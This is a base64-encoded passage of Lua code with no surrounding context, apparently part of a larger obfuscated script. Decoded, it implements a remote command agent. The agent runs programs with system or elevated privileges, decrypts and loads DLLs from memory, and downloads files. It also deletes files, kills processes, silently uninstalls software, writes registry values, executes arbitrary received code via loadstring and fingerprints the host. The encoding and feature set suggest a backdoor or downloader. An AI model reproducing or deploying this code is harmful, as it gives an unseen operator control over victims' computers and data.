IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
